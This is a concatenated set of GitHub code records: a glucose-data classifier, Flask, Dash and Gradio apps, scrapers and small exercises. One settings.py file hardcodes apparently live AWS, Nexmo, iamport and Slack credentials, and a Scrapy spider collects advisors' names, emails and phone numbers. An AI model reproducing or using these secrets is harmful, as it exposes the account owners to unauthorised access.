pd.to_datetime(cgm_raw['Date']) + pd.to_timedelta(cgm_raw['Time'])\ncgm_df = cgm_raw[['datetime','Sensor Glucose (mg/dL)']]\n\ninsulin_raw = pd.read_csv(r'InsulinData.csv', index_col = 0, low_memory=False)\ninsulin_raw['datetime'] = pd.to_datetime(insulin_raw['Date']) + pd.to_timedelta(insulin_raw['Time'])\ninsulin_df = insulin_raw[['datetime', 'BWZ Carb Input (grams)']]\n\ncgm_df = cgm_df.sort_values(by='datetime')\ninsulin_df = insulin_df.sort_values(by='datetime')\ncgm_df.reset_index(drop=True, inplace=True)\n\n\nmeal_df = insulin_df[insulin_df['BWZ Carb Input (grams)'] > 0]\nmeal_df=meal_df.iloc[:,0]\nmeal_df.reset_index(drop=True, inplace=True)\nmeal = meal_df.copy()\n\nfrom datetime import datetime\nfrom datetime import timedelta\nfor i in range(len(meal)-1):\n #print(meal[i])\n if meal[i] + timedelta(minutes=120) > meal[i+1]:\n #print(i)\n meal.drop(i, inplace=True)\nmeal.reset_index(drop=True, inplace=True)\n\nP_df = pd.DataFrame(columns = ['C' + str(i+1) for i in range(30)])\n#print(P_df)\nQ_df = pd.DataFrame(columns = ['C' + str(i+1) for i in range(24)])\n#print(Q_df)\n\nfor i,cgm_date, glucose in cgm_df.itertuples():\n #print(i,cgm_date, glucose)\n c=0\n t=0\n list=[]\n list2=[]\n for j in range(len(meal)-1):\n #print(insul_date)\n if meal[j] < cgm_date and cgm_date < meal[j] + timedelta(minutes=5):\n #print(meal[j], cgm_date)\n m=i-6\n for k in range(m, m+30):\n #print(m, cgm_df.iloc[m,1])\n list.append(cgm_df.iloc[m,1])\n m += 1\n #print(list)\n for l in list:\n t += 1\n if l > 0:\n c += 1\n #print(c, t)\n if c >= 30*0.8 and t==30:\n #print('save P_df')\n P_df = P_df.append(pd.DataFrame([list], columns=P_df.columns), ignore_index=True)\n #----------Q matrix\n \n loop = True\n date = cgm_date\n z = i \n while(loop):\n list2=[]\n date = date + timedelta(minutes=120)\n #print(meal[j], meal[j+1], date)\n if date < meal[j+1] :\n z = z+24\n for k in range(z, z+24):\n #print(k, cgm_df.iloc[k,1])\n list2.append(cgm_df.iloc[k,1])\n else:\n loop = False\n #print(list2)\n c=0\n t=0\n for l2 in list2:\n t += 1\n if l2 > 0:\n c += 1\n #print(c, t)\n if c >= 24*0.8 and t==24:\n #print('save Q_df')\n Q_df = Q_df.append(pd.DataFrame([list2], columns=Q_df.columns), ignore_index=True)\n \n\nimport numpy as np\nfrom scipy.fft import fft, fftfreq, rfft\ndata = np.empty(shape=[0, 8])\nlabel = np.array([])\n\nfor p_arr in P_df.to_numpy():\n #print(p_arr)\n max_value = None\n min_value = None\n for idx, num in enumerate(p_arr):\n #print(num)\n if (max_value is None or num > max_value) :\n max_value = num\n max_idx = idx\n if (min_value is None or num < min_value) :\n min_value = num\n min_idx = idx\n diff_max1 = None\n diff_max2 = None\n for num in np.diff(p_arr):\n if (diff_max1 is None or num > diff_max1) :\n diff_max1 = num\n for num in np.diff(p_arr, n=2):\n if (diff_max2 is None or num > diff_max2) :\n diff_max2 = num\n #print(np.diff(p_arr)) \n #print(np.diff(p_arr, n=2))\n \n \n #print('max, idx:', max_value, max_idx) \n #print('meal, idx:', meal_value, meal_idx) \n #print('tau(minites):', abs(max_idx-meal_idx)*5) #f1\n #print('dG =', (max_value-meal_value)/meal_value) #f2\n #print('diff_max1:', diff_max1) #f3\n #print('diff_max2:', diff_max2) #f4\n \n #print('abs fft:', abs(c))\n x = p_arr\n #print(x)\n #------null value\n xi = np.arange(len(x))\n mask = np.isfinite(x)\n xfiltered = np.interp(xi, xi[mask], x[mask])\n \n c = rfft(xfiltered)\n #print(c)\n #plt.plot(abs(c), \"o\")\n #plt.show()\n \n #----find max2 max3\n fft = abs(c)\n list_fft = fft.tolist()\n #print(max(fft))\n list_fft.remove(max(list_fft))\n #print(list_fft)\n max2=max(list_fft)\n #print('max2', max2)\n list_fft.remove(max(list_fft))\n #print(list_fft)\n max3=max(list_fft)\n #print('max3', max3)\n \n for idx, num in enumerate(abs(c)):\n #print(num)\n if max2 == num:\n max2_idx = idx\n elif max3 == num:\n max3_idx = idx\n #print('max2_idx', max2_idx)\n #print('max3_idx', max3_idx)\n \n list_feature = [abs(max_idx-min_idx)*5, (max_value-min_value)/min_value, diff_max1, diff_max2,max2,max2_idx,max3,max3_idx]\n #print(list_feature)\n array_sum = np.sum(np.array(list_feature))\n if np.isnan(array_sum) == False:\n data = np.append(data, [np.array(list_feature)], axis = 0)\n #print(data)\n label = np.append(label, [1])\n #print(label)\n #----null test\n array_sum = np.sum(data)\n array_has_nan = np.isnan(array_sum)\n #print(array_has_nan)\n\n\n\nfor q_arr in Q_df.to_numpy():\n #print(q_arr)\n max_value = None\n min_value = None\n for idx, num in enumerate(q_arr):\n #print(num)\n if (max_value is None or num > max_value) :\n max_value = num\n max_idx = idx\n if (min_value is None or num < min_value) :\n min_value = num\n min_idx = idx\n diff_max1 = None\n diff_max2 = None\n for num in np.diff(q_arr):\n if (diff_max1 is None or num > diff_max1) :\n diff_max1 = num\n for num in np.diff(q_arr, n=2):\n if (diff_max2 is None or num > diff_max2) :\n diff_max2 = num\n #print(np.diff(q_arr)) \n #print(np.diff(q_arr, n=2))\n \n \n #print('max, idx:', max_value, max_idx) \n #print('meal, idx:', meal_value, meal_idx) \n #print('tau(minites):', abs(max_idx-min_idx)*5) #f1\n #print('dG =', (max_value-min_value)/min_value) #f2\n #print('diff_max1:', diff_max1) #f3\n #print('diff_max2:', diff_max2) #f4\n \n #print('abs fft:', abs(c))\n x = q_arr\n #print(x)\n xi = np.arange(len(x))\n mask = np.isfinite(x)\n xfiltered = np.interp(xi, xi[mask], x[mask])\n \n c = rfft(xfiltered)\n #print(c)\n #plt.plot(abs(c), \"o\")\n #plt.show()\n \n #----find max2 max3\n fft = abs(c)\n list_fft = fft.tolist()\n #print(max(fft))\n list_fft.remove(max(list_fft))\n #print(list_fft)\n max2=max(list_fft)\n #print('max2', max2)\n list_fft.remove(max(list_fft))\n #print(list_fft)\n max3=max(list_fft)\n #print('max3', max3)\n \n for idx, num in enumerate(abs(c)):\n #print(num)\n if max2 == num:\n max2_idx = idx\n elif max3 == num:\n max3_idx = idx\n #print('max2_idx', max2_idx)\n #print('max3_idx', max3_idx)\n \n list_feature = [abs(max_idx-min_idx)*5, (max_value-min_value)/min_value, diff_max1, diff_max2,max2,max2_idx,max3,max3_idx]\n #print(list_feature)\n array_sum = np.sum(np.array(list_feature))\n if np.isnan(array_sum) == False:\n data = np.append(data, [np.array(list_feature)], axis = 0)\n #print(data)\n label = np.append(label, [0])\n #print(label)\n #----null test\n array_sum = np.sum(data)\n array_has_nan = np.isnan(array_sum)\n #print(array_has_nan)\n \n\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_test, Y_train, Y_test = train_test_split(data, label, test_size=0.2, random_state=121 )\ndt_clf = DecisionTreeClassifier(random_state=111)\ndt_clf.fit(X_train, Y_train)\n\n#pickling\nimport pickle\n#write\nwith open('model_pickle.pkl', 'wb') as f:\n pickle.dump(dt_clf, f)\n\n","repo_name":"John-jg-park/Data-Mining","sub_path":"project2/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"23395039686","text":"#Import\nfrom flask import Flask, render_template, redirect \nfrom flask_pymongo import PyMongo\nimport scrape_mars\nfrom splinter import Browser\n\n# INITIATE YOUR CONFIGURATION \napp = Flask(__name__)\nmongo = PyMongo(app, uri='mongodb://localhost:27017/mars_db')\n\n# Create route that renders index.html template and finds documents from mongo\n@app.route(\"/\")\ndef main():\n mars_info = mongo.db.mars_info.find_one()\n return render_template(\"index.html\", mars_info=mars_info)\n \n\n# Route that will trigger scrape function\n@app.route(\"/scrape\")\ndef scrape(): \n\n executable_path = {'executable_path': '/Users/manishalal/Desktop/Bootcamp_Homework/Web Scrapping/chromedriver'}\n browser = Browser('chrome', **executable_path, headless=False)\n\n # Run scrapped functions\n mars_info = mongo.db.mars_info\n mars_data = scrape_mars.mars_news(browser)\n mars_data = scrape_mars.mars_image(browser)\n mars_data = scrape_mars.mars_facts(browser)\n mars_data = scrape_mars.mars_hemispheres(browser)\n mars_info.update({}, mars_data, upsert=True)\n\n browser.quit()\n\n return redirect(\"/\")\n\nif __name__ == \"__main__\": \n app.run(debug= True)","repo_name":"manishalal145/NoSQLChallenege","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"14353427711","text":"import dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nimport time\r\nimport psutil\r\n\r\nfrom collections import deque\r\nimport plotly.graph_objs as go\r\nimport random\r\n\r\nmax_length = 50\r\ntimes = deque(maxlen=max_length)\r\ncpu=deque(maxlen=max_length)\r\nmemory=deque(maxlen=max_length)\r\ndisk=deque(maxlen=max_length)\r\n# network=deque(maxlen=max_length)\r\n\r\ndata_dict = {\"CPU\":cpu,\r\n\"Memory\": memory,\r\n\"Disk\": disk}\r\n\r\ndef update_values(times, cpu, memory,disk):\r\n #network\r\n\r\n times.append(time.time())\r\n if len(times) == 1:\r\n #starting relevant values\r\n # cpu.append(random.randrange(180,230))\r\n # memory.append(random.randrange(95,115))\r\n # disk.append(random.randrange(170,220))\r\n # network.append(random.randrange(1000,9500))\r\n #cpu.append(random.randrange(180,230))\r\n #memory.append(random.randrange(95,115))\r\n cpu.append(psutil.cpu_percent())\r\n memory.append(psutil.virtual_memory().percent)\r\n disk.append(psutil.disk_usage('/').percent)\r\n # network.append(psutil.net_if_addrs())\r\n else:\r\n for data_of_interest in [cpu, memory, disk]:\r\n #disk,network\r\n data_of_interest.append(data_of_interest[-1]+data_of_interest[-1]*random.uniform(-0.0001,0.0001))\r\n\r\n return times, cpu, memory, disk\r\n #disk, network\r\n\r\ntimes, cpu, memory, disk = update_values(times, cpu, memory, disk)\r\n#disk, , network\r\n\r\nexternal_css = [\"https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/css/materialize.min.css\"]\r\nexternal_js = ['https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/js/materialize.min.js']\r\napp = dash.Dash('vehicle-data',\r\n external_scripts=external_js,\r\n external_stylesheets=external_css)\r\n\r\napp.layout = html.Div([\r\n html.Div([\r\n html.H2('CPU Data',\r\n style={'float': 'left',\r\n }),\r\n ]),\r\n dcc.Dropdown(id='vehicle-data-name',\r\n options=[{'label': s, 'value': s}\r\n for s in data_dict.keys()],\r\n value=['CPU','Memory','Disk'],\r\n multi=True\r\n ),\r\n html.Div(children=html.Div(id='graphs'), className='row'),\r\n dcc.Interval(\r\n id='graph-update',\r\n interval=1000,\r\n n_intervals=0),\r\n\r\n ], className=\"container\",style={'width':'98%','margin-left':10,'margin-right':10,'max-width':50000})\r\n\r\n@app.callback(\r\n dash.dependencies.Output('graphs','children'),\r\n [dash.dependencies.Input('vehicle-data-name', 'value'),\r\n dash.dependencies.Input('graph-update', 'n_intervals')],\r\n )\r\ndef update_graph(data_names, n):\r\n graphs = []\r\n update_values(times, cpu, memory, disk)\r\n #disk, network\r\n if len(data_names)>2:\r\n class_choice = 'col s12 m6 l4'\r\n elif len(data_names) == 2:\r\n class_choice = 'col s12 m6 l6'\r\n else:\r\n class_choice = 'col s12'\r\n\r\n for data_name in data_names:\r\n\r\n data = go.Scatter(\r\n x=list(times),\r\n y=list(data_dict[data_name]),\r\n name='Scatter',\r\n fill=\"tozeroy\",\r\n fillcolor=\"#6897bb\"\r\n )\r\n\r\n graphs.append(html.Div(dcc.Graph(\r\n id=data_name,\r\n animate=True,\r\n figure={'data': [data],'layout' : go.Layout(xaxis=dict(range=[min(times),max(times)]),\r\n yaxis=dict(range=[min(data_dict[data_name]),max(data_dict[data_name])]),\r\n margin={'l':50,'r':1,'t':45,'b':1},\r\n title='{}'.format(data_name))}\r\n ), className=class_choice))\r\n\r\n return graphs\r\n\r\nif __name__ == '__main__':\r\n app.run_server(debug=True)","repo_name":"znot34/dashboard-mark01","sub_path":"cpu3.py","file_name":"cpu3.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"23041347683","text":"def smallest_number(n):\n \"\"\"\n Input: a number\n Computes the smallest number that can be formed with the digits of a given number\n Returns the computed number\n \"\"\"\n minimum = 9\n copy = n\n while copy != 0:\n if minimum > copy % 10 != 0:\n minimum = copy % 10\n copy //= 10\n computed_nr = minimum\n for i in range(10):\n copy = n\n number_of_appearances = 0\n while copy != 0:\n if copy % 10 == i:\n number_of_appearances += 1\n copy //= 10\n if i == minimum:\n number_of_appearances -= 1\n for j in range(number_of_appearances):\n computed_nr = computed_nr * 10 + i\n if n != 0:\n return computed_nr\n else:\n return 0\n\n\nx = int(input('x='))\nprint(\"the resulted number is...\", smallest_number(x))\n","repo_name":"sergiuunity/Faculty-Work","sub_path":"Algorithms and Programming Course/I_A1/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"5710223794","text":"#내적\n#https://programmers.co.kr/learn/courses/30/lessons/70128\n#난이도 하\n\ndef solution(a, b):\n sum=0\n for i in range(len(a)):\n sum += a[i]*b[i]\n answer=sum\n return answer\n\n","repo_name":"Google-Developer-Student-Club-Hanyang/Algorithm-1-","sub_path":"곽예진/008일차_내적.py","file_name":"008일차_내적.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"33097154147","text":"import gradio as gr\nimport torch\nfrom torch import nn\nimport os\nimport torchvision\nfrom torchvision.utils import save_image\nLATENT_SIZE=50\n\n\n# задаем класс модели\nclass Generator(nn.Module):\n def __init__(self):\n super(Generator, self).__init__()\n self.upsample1 = nn.Sequential(\n nn.ConvTranspose2d(LATENT_SIZE+10, 512, kernel_size=2, stride=1, padding=0, bias=True),\n nn.BatchNorm2d(512),\n nn.ReLU(True)\n )\n self.upsample2 = nn.Sequential(\n nn.ConvTranspose2d(512, 256, kernel_size=4, stride=2, padding=1, bias=False),\n nn.BatchNorm2d(256),\n nn.ReLU(True)\n )\n self.upsample3 = nn.Sequential(\n nn.ConvTranspose2d(256, 128, kernel_size=4, stride=2, padding=1, bias=False),\n nn.BatchNorm2d(128),\n nn.ReLU(True)\n )\n self.upsample4 = nn.Sequential(\n nn.ConvTranspose2d(128, 28, kernel_size=4, stride=2, padding=1, bias=False),\n nn.BatchNorm2d(28),\n nn.ReLU(True)\n )\n self.upsample5 = nn.Sequential(\n nn.ConvTranspose2d(28, 1, kernel_size=2, stride=2, padding=2, bias=False),\n nn.Tanh(),\n )\n def forward(self, x, class_vec):\n x = torch.cat([x,class_vec], 1)\n x = self.upsample1(x)\n x = self.upsample2(x)\n x = self.upsample3(x)\n x = self.upsample4(x)\n x = self.upsample5(x)\n return x\n\n \n# функция генерации: на вход число картинок\n# на выходе имя файла\ndef generate(number, c):\n global gen\n gen.eval()\n noise = torch.randn(number, 50, 1,1).to('cpu')\n c = torch.tensor([c])\n target = nn.functional.one_hot(c.unsqueeze(1).unsqueeze(1).to(torch.int64), 10).permute(0,3,1,2).float().repeat(number, 1, 1, 1)\n tensors = gen(noise, target)\n save_image(tensors, '1.jpg', normalize=True)\n return '1.jpg'\n\n# инициализация модели: архитектура + веса\ndef init_model():\n global gen\n gen = Generator()\n gen.load_state_dict(torch.load('num_generator_ws40.pt', map_location=torch.device('cpu')))\n return gen\n# запуск gradio\ndef run(share=False):\n gr.Interface(\n generate,\n inputs=[gr.inputs.Slider(label='Количество цифр', minimum=1, maximum=10, step=1, default=1),\n gr.inputs.Slider(label='Число', minimum=1, maximum=10, step=1, default=1)],\n outputs = \"image\",\n ).launch(share=False)\nif __name__ == '__main__':\n init_model()\n run()","repo_name":"pdumin/num_gen_grad","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"14800511087","text":"# -*- coding: utf-8 -8-\n\n\nimport os\nimport collections\nfrom tornado.log import logging\n\n\n_settings = dict(\n application=dict(\n name='coconut',\n env='live',\n host='api.tkit.me',\n port=9100,\n debug=False,\n autoreload=False,\n log=dict(\n level=logging.DEBUG,\n format='%(asctime)s %(levelname)s:%(name)s:%(module)s %(message)s'\n ),\n mobile = dict(\n ipad_id='582d37225f54714def85effb'\n )\n ),\n mongodb = dict(\n host='11.0.1.90',\n port=27017,\n db='coconut'\n ),\n nexmo = dict(\n api_key='7968a1e2', \n api_secret='a45366ce5d7a295c'\n ),\n host=dict(\n protocol='https',\n host='host.tkit.me',\n port=443\n ),\n web=dict(\n name='citron',\n host='i.tkit.me',\n port=80,\n ),\n tweb=dict(\n name='tomato',\n protocol='https',\n host='tkit.me',\n port=443,\n ),\n iamport=dict(\n api_key='4335180923213950',\n api_secret='8PJ0Bmp6JLDTBITQ281p2BuM5jJ0FpWOeGOQ2eWMZAGBizrkHtKK4ewaygadG72VORLR5IE5ikHBT8WA'\n ),\n aws=dict(\n access_key='AKIAJRLZGNWWWHRYRG7Q',\n secret_key='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',\n res_bucket='res.tkit.me',\n cloudfront='d3gdb0v1epkb6b.cloudfront.net'\n ),\n slack=dict(\n oauth_access_token='xoxp-24065128659-73904001223-457101199316-939af9f7bd0df067a789032615d2ad8f'\n )\n)\n\n\n\n\ndef settings():\n def update(original, local):\n for k, v in iter(local.items()):\n if isinstance(v, collections.Mapping):\n original[k].update(v)\n else:\n original[k] = v\n return original\n\n if os.path.isfile('settings_local.py'):\n import settings_local\n update(_settings, settings_local._settings)\n print(_settings)\n\n return _settings\n","repo_name":"rjkorea/coconut","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"27956311172","text":"#import useful libraries\nimport scrapy\nimport json\n\nfrom tutorial.items import DmozItem\nfrom scrapy.http import Request\nfrom scrapy.contrib.spiders import CrawlSpider, Rule\n\n#initialize class to create the scraper (spider)\nclass DmozSpider(scrapy.Spider):\n\n name = \"proadvisor\" #name the spider\n allowed_domains = [\"proadvisorservice.intuit.com\"] #set domain to scrape\n\n #all longitudes and latitudes covered in Mainland America\n min_lat = 24\n max_lat = 50\n min_long = -125\n max_long = -65\n\n #all longitudes and latitudes covered in Hawaii\n haw_min_long = -175\n haw_max_long = -153\n haw_min_lat = 20\n haw_max_lat = 30\n\n #all longitudes and latitudes covered in Alaska\n alas_min_long = -170\n alas_max_long = -140\n alas_min_lat = 54\n alas_max_lat = 71\n\n #start going through the webpages\n def start_requests(self):\n\n #mainland USA coordinates\n for i in range(self.min_lat, self.max_lat):\n for j in range(self.min_long, self.max_long):\n yield scrapy.Request('http://proadvisorservice.intuit.com/v1/search?latitude=%d&longitude=%d&radius=70&pageNumber=1&pageSize=&sortBy=distance' % (i, j),\n dont_filter=True,\n callback = self.parse)\n\n #hawaii coordinates\n for i in range(self.haw_min_lat, self.haw_max_lat):\n for j in range(self.haw_min_long, self.haw_max_long):\n yield scrapy.Request('http://proadvisorservice.intuit.com/v1/search?latitude=%d&longitude=%d&radius=70&pageNumber=1&pageSize=&sortBy=distance' % (i, j),\n dont_filter=True,\n callback = self.parse)\n\n #alaska coordinates\n for i in range(self.alas_min_lat, self.alas_max_lat):\n for j in range(self.alas_min_long, self.alas_max_long):\n yield scrapy.Request('http://proadvisorservice.intuit.com/v1/search?latitude=%d&longitude=%d&radius=70&pageNumber=1&pageSize=&sortBy=distance' % (i, j),\n dont_filter=True,\n callback = self.parse)\n\n #given the JSON information from the AJAX webpage, this function will\n # parse through the data. It MUST be present.\n def parse(self, response):\n #load JSON key,value information into jsonresponse\n jsonresponse = json.loads(response.body_as_unicode())\n\n #loop through the items in searchResults within jsonresponse\n for x in jsonresponse['searchResults']:\n\n item = DmozItem() #initialize a DmozItem\n\n #get outlines field values and store them in item\n item['firstName'] = x['firstName'].lower() #First Name\n item['lastName'] = x['lastName'].lower() #Last Name\n item['email'] = x['email'].lower() #E-mail\n item['companyName'] = x['companyName'].lower() #Company Name\n\n if x.get('phoneNumber'): #Phone Number IF present\n item['phoneNumber'] = x['phoneNumber']\n else: #else store None\n item['phoneNumber'] = None\n\n o = x['qbopapCertVersions'] #qbo Certification\n d = x['papCertVersions'] #qbd Certification\n\n #Change to TRUE or FALSE rather than years of Certification\n if not o:\n item['qbo'] = \"FALSE\"\n else:\n item['qbo'] = \"TRUE\"\n\n if not d:\n item['qbd'] = \"FALSE\"\n else:\n item['qbd'] = \"TRUE\"\n\n yield item #output the item\n","repo_name":"prathd/Intuit-WebScraper","sub_path":"tutorial/spiders/dmoz_spider.py","file_name":"dmoz_spider.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"4957709702","text":"# n = int(input())\n# numeric = list(map(int, input().split()))\n# demical = [True] * 1001\n# answer = 0\n\n# m = int(1001 ** 0.5)\n\n# for i in range(2, m + 1):\n# if demical[i] == True: # i가 소수인 경우 \n# for j in range(i+i, 1001, i): # i이후 i의 배수들을 False 판정\n# demical[j] = False\n\n# for i in range(len(numeric)):\n# if demical[numeric[i]] == True and numeric[i] >= 2:\n# print(numeric[i], demical[numeric[i]])\n# answer += 1\n\n# print(answer)\n\n# 백준 1978번 소수 찾기\n# 에라토스테네스의 체로 하니까 안되고 왜 그냥 하니까 되는건지..?\n# 1000이하여도 에라토스테네스의 체가 더 빨라서 맞지않나...\n\nn = int(input())\nnumeric = list(map(int, input().split()))\nnumeric.sort()\nanswer = 0\n\nfor i in range(len(numeric)):\n count = 0\n for j in range(2, numeric[i]+1):\n if numeric[i] % j == 0:\n count += 1\n \n if count == 1:\n answer += 1\n\nprint(answer)","repo_name":"namyoungjun96/Study","sub_path":"python/baekjoon/silver4/demicalfind.py","file_name":"demicalfind.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"70682803769","text":"# This is a sample Python script.\nimport requests\n\nimport products\nimport os\n\n\n# Press Shift+F10 to execute it or replace it with your code.\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\n\n\ndef print_hi(name):\n # Use a breakpoint in the code line below to debug your script.\n print(f'Hi, {name}') # Press Ctrl+F8 to toggle the breakpoint.\n\n\n# Press the green button in the gutter to run the script.\n\npath = \"https://co2.prom.ua/yandex_market.xml?hash_tag=e82bf7608985d3938a9543608bdd398f&sales_notes=&product_ids=&label_ids=7677794%2C7723458%2C7722434%2C6385601&exclude_fields=description&html_description=0&yandex_cpa=&process_presence_sure=&languages=ru&group_ids=\"\nif __name__ == '__main__':\n print_hi('PyCharm')\n products = products.XmlPromProductService.package_images(path)\n\n for product in products:\n\n packageName = \"images/\" + product.name + \"_\" + product.id\n\n os.mkdir(packageName)\n\n for imageUrl in product.images:\n response = requests.get(imageUrl)\n with open(packageName + imageUrl[imageUrl.rfind(\"/\"):], 'wb') as imgFile:\n imgFile.write(response.content)\n\n\n\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","repo_name":"yanyasha228/PromImages","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"21066059094","text":"# -*- coding: utf-8 -*-\n\"\"\"HydraTK core services\n\n.. module:: core.servicebus\n :platform: Unix\n :synopsis: HydraTK core services\n.. moduleauthor:: Petr Czaderna \n\n\"\"\"\n\n\nclass ServiceHead(object):\n \"\"\"Class ServiceHead\n \"\"\"\n\n def srv_async_cb(self, cbo):\n \"\"\"Method sends callback message\n\n Args: \n cbo (obj): callback object\n\n Returns:\n void\n\n \"\"\"\n\n msg = {\n 'type': \"async_fn\",\n 'from': 'htk_obsrv@core.raptor',\n 'to': 'any@core.raptor',\n 'data': {\n 'fn_id': cbo.fn_id,\n 'args': cbo.args,\n 'kwargs': cbo.kwargs\n }\n }\n self.send_msg(msg)\n","repo_name":"hydratk/hydratk","sub_path":"src/hydratk/core/servicehead.py","file_name":"servicehead.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"5630134377","text":"from typing import List\nfrom resources.server import getPlexServer\nfrom resources.log import getLogger\nfrom resources.settings import Settings\nfrom argparse import ArgumentParser\nimport os\nimport sys\nimport requests\n\n###########################################################################################################################\n# Credit to https://gist.github.com/liamcottle/86180844b81fcf8085e2c9182daa278c for the original script\n# Requires \"New Content Added to Library\" notification to be enabled\n###########################################################################################################################\n\n\ndef csv(arg: str) -> List:\n return [x.lower().strip() for x in arg.split(\",\") if x]\n\n\nlog = getLogger(__name__)\n\nparser = ArgumentParser(description=\"Plex Autoskip Notification Sender\")\nparser.add_argument('-c', '--config', help='Specify an alternate configuration file location')\nparser.add_argument('-au', '--allowedusers', help=\"Users to send message to, leave back to send to all users\", type=csv)\nparser.add_argument('-bu', '--blockedusers', help=\"Users to exlude sending the message to\", type=csv)\nparser.add_argument('-u', '--url', help=\"URL to direct users to when clicked\", default=\"https://github.com/mdhiggins/PlexAutoSkip\")\nparser.add_argument('message', help='Message to send to users')\n\nargs = vars(parser.parse_args())\n\nif args['config'] and os.path.exists(args['config']):\n settings = Settings(args['config'], loadCustom=False, logger=log)\nelif args['config'] and os.path.exists(os.path.join(os.path.dirname(sys.argv[0]), args['config'])):\n settings = Settings(os.path.join(os.path.dirname(sys.argv[0]), args['config']), loadCustom=False, logger=log)\nelse:\n settings = Settings(loadCustom=False, logger=log)\n\nserver, _ = getPlexServer(settings, log)\n\nmessage = args['message']\nif not message:\n log.warning(\"No message included, aborting\")\n sys.exit(1)\n\nusers = args['allowedusers']\nblocked = args['blockedusers']\n\nmyPlexAccount = server.myPlexAccount()\n\nif not myPlexAccount:\n log.warning(\"No myPlex account found, aborting\")\n sys.exit(1)\n\nmyPlexUsers = myPlexAccount.users() + [myPlexAccount]\n\nif users:\n myPlexUsers = [u for u in myPlexUsers if u.username.lower() in users]\nif blocked:\n myPlexUsers = [u for u in myPlexUsers if u.username.lower() not in blocked]\n\nuids = [u.id for u in myPlexUsers]\n\nif not uids:\n log.warning(\"No valid users to notify, aborting\")\n sys.exit(1)\n\nlog.info(\"Sending message to %d users\" % len(uids))\n\nheaders = {\n \"X-Plex-Token\": server._token,\n}\n\ndata = {\n \"group\": 'media',\n \"identifier\": 'tv.plex.notification.library.new',\n \"to\": uids,\n \"play\": False,\n \"data\": {\n \"provider\": {\n \"identifier\": server.machineIdentifier,\n \"title\": server.friendlyName,\n }\n },\n \"metadata\": {\n \"title\": message,\n },\n \"uri\": args['url'],\n}\n\nurl = 'https://notifications.plex.tv/api/v1/notifications'\n\nlog.debug(data)\n\nx = requests.post(url, json=data, headers=headers)\nlog.debug(x.text)\nlog.info(\"Response received with status code %s\" % (x.status_code))\n\nif x.status_code in [200, 201]:\n sys.exit(0)\nelse:\n sys.exit(1)\n","repo_name":"mdhiggins/PlexAutoSkip","sub_path":"notify.py","file_name":"notify.py","file_ext":"py","file_size_in_byte":3205,"program_lang":"python","lang":"en","doc_type":"code","stars":180,"dataset":"github-code","pt":"77"} +{"seq_id":"12925043091","text":"class FuelConsumption:\n def __init__(self, konnection):\n self.lf_stream = konnection.conn.add_stream(konnection.vessel.resources.amount, 'LiquidFuel')\n self.ox_stream = konnection.conn.add_stream(konnection.vessel.resources.amount, 'Oxidizer')\n self.met_stream = konnection.met_stream\n self.last_ox_val = 0\n self.last_lf_val = 0\n self.last_lf_time = 0\n self.last_ox_time = 0\n\n def compute_lf_consumption(self):\n current_lf = self.lf_stream()\n current_time = self.met_stream()\n if current_time == 0:\n return 0\n ret = abs((current_lf - self.last_lf_val) / (current_time - self.last_lf_time))\n self.last_lf_val = current_lf\n self.last_lf_time = current_time\n return ret\n\n def compute_ox_consumption(self):\n current_ox = self.lf_stream()\n current_time = self.met_stream()\n if current_time == 0:\n return 0\n ret = abs((current_ox - self.last_ox_val) / (current_time - self.last_ox_time))\n self.last_ox_val = current_ox\n self.last_ox_time = current_time\n return ret","repo_name":"MichaelWhitehill/ksp_flight_analytics","sub_path":"DataBridge/FuelConsumption.py","file_name":"FuelConsumption.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"41559990875","text":"import twint\nimport os\n\nhashtags = [\n '#LGBTtoLudzie',\n '#LGBTtoIdeologia',\n '#IdeologiaLGBT',\n '#StopAgresjiLGBT',\n '#homofobia',\n '#BabiesLifesMatter',\n '#piekłodzieci',\n '#AborcjaBezGranic',\n '#reżimPiS',\n '#ulgaabolicyjna',\n '#500plus',\n '#renty',\n '#emerytury',\n '#płacaminimalna',\n '#wynagrodzenia',\n '#firmy',\n '#pracownicy',\n '#socjalizm',\n '#własność',\n]\n\nfor tag in hashtags:\n c = twint.Config()\n c.Since = '2019-11-16'\n c.Search = f'({tag}) lang:pl'\n c.Store_csv = True\n c.Tabs = True\n c.Output = os.path.join('twitter_data', 'data', f'{tag}.csv')\n c.Hide_output = True\n 